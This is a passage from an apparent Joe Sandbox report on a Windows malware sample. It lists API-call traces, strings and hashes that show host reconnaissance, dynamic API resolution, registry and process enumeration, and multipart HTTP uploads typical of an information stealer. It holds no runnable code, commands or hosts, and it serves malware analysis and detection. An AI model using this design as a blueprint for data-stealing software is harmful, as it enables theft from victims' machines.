pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: 5eea1aac99bf7e535a43d37b45fc3319ad1af7de06c44669e1522cdce20b9fba
Instruction ID: ab2078f5f47aa6eaeaf83cafc0758b5ab509dada1718e255d3e4d65f54e1cbb6
Opcode Fuzzy Hash: 5eea1aac99bf7e535a43d37b45fc3319ad1af7de06c44669e1522cdce20b9fba
Instruction Fuzzy Hash: BA413F79740624ABD7109FE5FC4DADCBF70AB4C701BA08062F90A99190C7F993859B7D

Function 00405000 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 82
networkmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040501A
RtlAllocateHeap.NTDLL(00000000), ref: 00405021
InternetOpenA.WININET(00420DE3,00000000,00000000,00000000,00000000), ref: 0040503A
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00405061
InternetReadFile.WININET(+aA,?,00000400,00000000), ref: 00405091
KiUserExceptionDispatcher.NTDLL(00000000,?,00000001), ref: 004050DA
InternetCloseHandle.WININET(+aA), ref: 00405109
InternetCloseHandle.WININET(?), ref: 00405116

Strings

+aA, xrefs: 00405105, 0040508D, 00405090, 00405108
+aA, xrefs: 00405051, 00405134

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateDispatcherExceptionFileProcessReadUser
String ID: +aA$+aA
API String ID: 1337183907-2425922966
Opcode ID: 2054dbe4896dccbf1b25db0542e201d3eadf361b24acad6cfbdf1ee3c924dd12
Instruction ID: fde31ff110f26a7c533ed41685ed538a2d60c52cc522202a3453e975d8f44226
Opcode Fuzzy Hash: 2054dbe4896dccbf1b25db0542e201d3eadf361b24acad6cfbdf1ee3c924dd12
Instruction Fuzzy Hash: 193136B4E01218ABDB20CF54DC85BDDB7B5EB48304F1081EAFA09A7281D7746AC18F9D

Function 00417D20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

GetKeyboardLayoutList.USER32(00000000,00000000,004205B7), ref: 00417D71
LocalAlloc.KERNEL32(00000040,?), ref: 00417D89
GetKeyboardLayoutList.USER32(?,00000000), ref: 00417D9D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417DF2
LocalFree.KERNEL32(00000000), ref: 00417EB2

Strings

/ , xrefs: 00417E0F

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: a9c2a3d8980f824397494a6f3138396e161b863b8c8af303ecba9acef840721c
Instruction ID: 3a7f69f4b1fea99afaf6d133ce9a777b30b3333c02d8fb4e8698743120f63e4e
Opcode Fuzzy Hash: a9c2a3d8980f824397494a6f3138396e161b863b8c8af303ecba9acef840721c
Instruction Fuzzy Hash: 1C416D71945218ABCB24DB94DC99BEEB374FF44704F2041DAE10A62280DB386FC4CFA9

Function 00418810 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205BF), ref: 0041885A
Process32First.KERNEL32(?,00000128), ref: 0041886E
Process32Next.KERNEL32(?,00000128), ref: 00418883

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

CloseHandle.KERNEL32(?), ref: 004188F1

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 9d9ec364ee6a93562b6efec49ca0d433d4cf16d75aacd9b160be087bee1fd478
Instruction ID: f2962352e5a9518fad6621e76df9ccdb14d3c152e16a9ee82315e1f5505f4b94
Opcode Fuzzy Hash: 9d9ec364ee6a93562b6efec49ca0d433d4cf16d75aacd9b160be087bee1fd478
Instruction Fuzzy Hash: 0E318171A02158ABCB24DF55DC55FEEB378EF04714F50419EF10A62190EB386B84CFA5

Function 00417BC0 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,007E55E0,00000000,?,00420DF8,00000000,?,00000000,00000000), ref: 00417BF3
HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,007E55E0,00000000,?,00420DF8,00000000,?,00000000,00000000,?), ref: 00417BFA
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,007E55E0,00000000,?,00420DF8,00000000,?,00000000,00000000,?), ref: 00417C0D
wsprintfA.USER32 ref: 00417C47

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: ef2e8192f2772f232fc7e7fcc2eea8e627b037badb6437208f4d82c9303bd787
Instruction ID: b2a27aae97358dcb217157a2278e60ef806da717b76b9d8dbc6f71207b10123d
Opcode Fuzzy Hash: ef2e8192f2772f232fc7e7fcc2eea8e627b037badb6437208f4d82c9303bd787
Instruction Fuzzy Hash: C011A1B1E0A228EBEB208B54DC45FA9BB79FB45711F1003D6F619932D0E7785A808B95

Function 004179E0 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417A10
HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417A17
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00417A2F

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 7e9e81e1a1689cb1da455be5f83933a8c8cca94e355bd3ccc2ffb479564026f7
Instruction ID: 9b82aaaa51ecd1631f431d3f1c3dae0ecd6dc6cababe86b84151973db8bb3773
Opcode Fuzzy Hash: 7e9e81e1a1689cb1da455be5f83933a8c8cca94e355bd3ccc2ffb479564026f7
Instruction Fuzzy Hash: 80F04FB1D49249EBC700DF98DD45BAEBBB8EB45711F10021BF615A2680D7755640CBA1

Function 00418060 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00420E14), ref: 00418090
wsprintfA.USER32 ref: 004180A6

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 49ec3605ab8d8b87b8f4a2bcd41593a6bcb02f439a1b20a0ae29a7c341f305be
Instruction ID: 08512fc152d1616d0ad9ea22e4a9698bc695f8d0908738fe214e90ce4e812d63
Opcode Fuzzy Hash: 49ec3605ab8d8b87b8f4a2bcd41593a6bcb02f439a1b20a0ae29a7c341f305be
Instruction Fuzzy Hash: 67F06DB1E04218ABCB10CB84EC45FEAFBBDFB48B14F50066AF51592280E7796904CAE5

Function 00419BB0 Relevance: 86.0, APIs: 33, Strings: 16, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(774B0000,007DEC38), ref: 00419BF1
GetProcAddress.KERNEL32(774B0000,007DE980), ref: 00419C0A
GetProcAddress.KERNEL32(774B0000,007DE950), ref: 00419C22
GetProcAddress.KERNEL32(774B0000,007DE998), ref: 00419C3A
GetProcAddress.KERNEL32(774B0000,007DEB30), ref: 00419C53
GetProcAddress.KERNEL32(774B0000,007D5E88), ref: 00419C6B
GetProcAddress.KERNEL32(774B0000,007D69B8), ref: 00419C83
GetProcAddress.KERNEL32(774B0000,007D6C38), ref: 00419C9C
GetProcAddress.KERNEL32(774B0000,007DE9E0), ref: 00419CB4
GetProcAddress.KERNEL32(774B0000,007DE9F8), ref: 00419CCC
GetProcAddress.KERNEL32(774B0000,007DEB00), ref: 00419CE5
GetProcAddress.KERNEL32(774B0000,007DEBA8), ref: 00419CFD
GetProcAddress.KERNEL32(774B0000,007D6B98), ref: 00419D15
GetProcAddress.KERNEL32(774B0000,007DEB18), ref: 00419D2E
GetProcAddress.KERNEL32(774B0000,007DEA40), ref: 00419D46
GetProcAddress.KERNEL32(774B0000,007D6938), ref: 00419D5E
GetProcAddress.KERNEL32(774B0000,007DEBD8), ref: 00419D77
GetProcAddress.KERNEL32(774B0000,007DE968), ref: 00419D8F
GetProcAddress.KERNEL32(774B0000,007D6C58), ref: 00419DA7
GetProcAddress.KERNEL32(774B0000,007DEA70), ref: 00419DC0
GetProcAddress.KERNEL32(774B0000,007D68D8), ref: 00419DD8
LoadLibraryA.KERNEL32(007DEC08,?,00416CA0), ref: 00419DEA
LoadLibraryA.KERNEL32(007DEBF0,?,00416CA0), ref: 00419DFB
LoadLibraryA.KERNEL32(007DEA10,?,00416CA0), ref: 00419E0D
LoadLibraryA.KERNEL32(007DEA58,?,00416CA0), ref: 00419E1F
LoadLibraryA.KERNEL32(007DEA88,?,00416CA0), ref: 00419E30
GetProcAddress.KERNEL32(75960000,007DEAA0), ref: 00419E52
GetProcAddress.KERNEL32(76A00000,007DEAB8), ref: 00419E73
GetProcAddress.KERNEL32(76A00000,007DEB48), ref: 00419E8B
GetProcAddress.KERNEL32(77040000,007DEB60), ref: 00419EAD
GetProcAddress.KERNEL32(77350000,007D6B78), ref: 00419ECE
GetProcAddress.KERNEL32(77600000,007D5E98), ref: 00419EEF
GetProcAddress.KERNEL32(77600000,NtQueryInformationProcess), ref: 00419F06

Strings

Xl}, xrefs: 00419D9A
NtQueryInformationProcess, xrefs: 00419EFA
xk}, xrefs: 00419EC1
@}, xrefs: 00419D39
8i}, xrefs: 00419D51
H}, xrefs: 00419E7E
0}, xrefs: 00419C45
p}, xrefs: 00419DB2
h}, xrefs: 00419D82
8l}, xrefs: 00419C8E
X}, xrefs: 00419E18
P}, xrefs: 00419C15
8}, xrefs: 00419BE4
}, xrefs: 00419BCA
`}, xrefs: 00419E9F
}, xrefs: 00419CA7

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: 0}$8i}$8l}$8}$@}$H}$NtQueryInformationProcess$P}$Xl}$X}$`}$h}$p}$xk}$}$}
API String ID: 2238633743-941767507
Opcode ID: edf66d35e3c25c46ff42be0291b8a279c2bd212ca972e11257e66bc224b5ba57
Instruction ID: 85c76ffc39373860cb8090e471c59d53cf6ad49422061259caa86ebb7f60cad9
Opcode Fuzzy Hash: edf66d35e3c25c46ff42be0291b8a279c2bd212ca972e11257e66bc224b5ba57
Instruction Fuzzy Hash: 4DA16FB5D0A2549FC344DFA8FC889567BBBA74D301708A61BF909C3674E734AA40CF62

Function 00405150 Relevance: 61.8, APIs: 22, Strings: 13, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

lstrlenA.KERNEL32(00000000), ref: 004051E3

Part of subcall function 00419030: CryptBinaryToStringA.CRYPT32(00000000,004051D4,40000001,00000000,00000000,?,004051D4), ref: 00419050

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405257
StrCmpCA.SHLWAPI(?,007E6F18), ref: 00405275
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405390
HttpOpenRequestA.WININET(00000000,007E6E98,?,007E65E8,00000000,00000000,00400100,00000000), ref: 004053F4

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,007E6F68,00000000,?,007DA0F0,00000000,?,00421B0C,00000000,?,0041541F), ref: 00405787
lstrlenA.KERNEL32(00000000), ref: 0040579B
GetProcessHeap.KERNEL32(00000000,?), ref: 004057AC
HeapAlloc.KERNEL32(00000000), ref: 004057B3
lstrlenA.KERNEL32(00000000), ref: 004057C8
memcpy.MSVCRT(?,00000000,00000000), ref: 004057DF
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004057F9
memcpy.MSVCRT(?), ref: 00405806
lstrlenA.KERNEL32(00000000), ref: 00405818
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405831
memcpy.MSVCRT(?), ref: 00405841
lstrlenA.KERNEL32(00000000,?,?), ref: 0040585E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405872
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040589D
InternetCloseHandle.WININET(00000000), ref: 00405901
InternetCloseHandle.WININET(00000000), ref: 0040590E
InternetCloseHandle.WININET(00000000), ref: 00405918

Strings

------, xrefs: 004052E7
", xrefs: 00405756
------, xrefs: 00405549
(n~, xrefs: 004054A8
--, xrefs: 004052D0
}, xrefs: 0040533E
e~, xrefs: 004053DC
hd~, xrefs: 004055EA
------, xrefs: 0040568B
", xrefs: 00405614
ho~, xrefs: 0040572C
------, xrefs: 00405407
", xrefs: 004054D2

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandlememcpy$HeapHttpOpenRequestlstrcat$AllocBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$ }$"$"$"$(n~$--$------$------$------$hd~$ho~$e~
API String ID: 2744873387-483490102
Opcode ID: f5947e873aea13fa70f658d23cb59911da2fdf33f0026899c4d59ad1d4738bb3
Instruction ID: 17d44de56e64bdd087ca749706e31b97a9426ac18b0a434e790be536538602ee
Opcode Fuzzy Hash: f5947e873aea13fa70f658d23cb59911da2fdf33f0026899c4d59ad1d4738bb3
Instruction Fuzzy Hash: 34321071A22118ABCB14EBA1DC65FEE7379BF54714F00419EF10662092EF387A98CF59

Function 004048D0 Relevance: 35.5, APIs: 11, Strings: 9, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404965
StrCmpCA.SHLWAPI(?,007E6F18), ref: 0040498A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404B0A
lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00420DDE,00000000,?,?,00000000,?,",00000000,?,007E6E38), ref: 00404E38
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404E54
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404E68
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404E99
InternetCloseHandle.WININET(00000000), ref: 00404EFD
InternetCloseHandle.WININET(00000000), ref: 00404F15
HttpOpenRequestA.WININET(00000000,007E6E98,?,007E65E8,00000000,00000000,00400100,00000000), ref: 00404B65

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

InternetCloseHandle.WININET(00000000), ref: 00404F1F

Strings

------, xrefs: 00404A0D
", xrefs: 00404D83
o~, xrefs: 00404C19
------, xrefs: 00404B78
}, xrefs: 00404AB7
8n~, xrefs: 00404D5A
e~, xrefs: 00404B4C
------, xrefs: 00404CB9
", xrefs: 00404C42

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$??2@CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: }$"$"$------$------$------$8n~$e~$o~
API String ID: 2402878923-4075572669
Opcode ID: d39f6b177e7887050dd94ebea9eab3f544b21bb40c361a874de83fa7c9990870
Instruction ID: 9047d27655e640063cf5e546897bb6ee72beef818384a457e6eae52f2661673c
Opcode Fuzzy Hash: d39f6b177e7887050dd94ebea9eab3f544b21bb40c361a874de83fa7c9990870
Instruction Fuzzy Hash: 41121072A121189ACB14EB91DD66FEEB379AF14314F50419EF10662091EF383F98CF69

Function 004184B0 Relevance: 29.9, APIs: 11, Strings: 6, Instructions: 196
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

RegOpenKeyExA.KERNEL32(00000000,007DE420,00000000,00020019,00000000,004205BE), ref: 00418534
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 004185B6
wsprintfA.USER32 ref: 004185E9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041860B
RegCloseKey.ADVAPI32(00000000), ref: 0041861C
RegCloseKey.ADVAPI32(00000000), ref: 00418629

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Strings

%s\%s, xrefs: 004185DD
U~, xrefs: 0041866F
pS~, xrefs: 0041871C
?, xrefs: 0041850A
- , xrefs: 00418733
}, xrefs: 00418529, 004185D6

Memory Dump Source

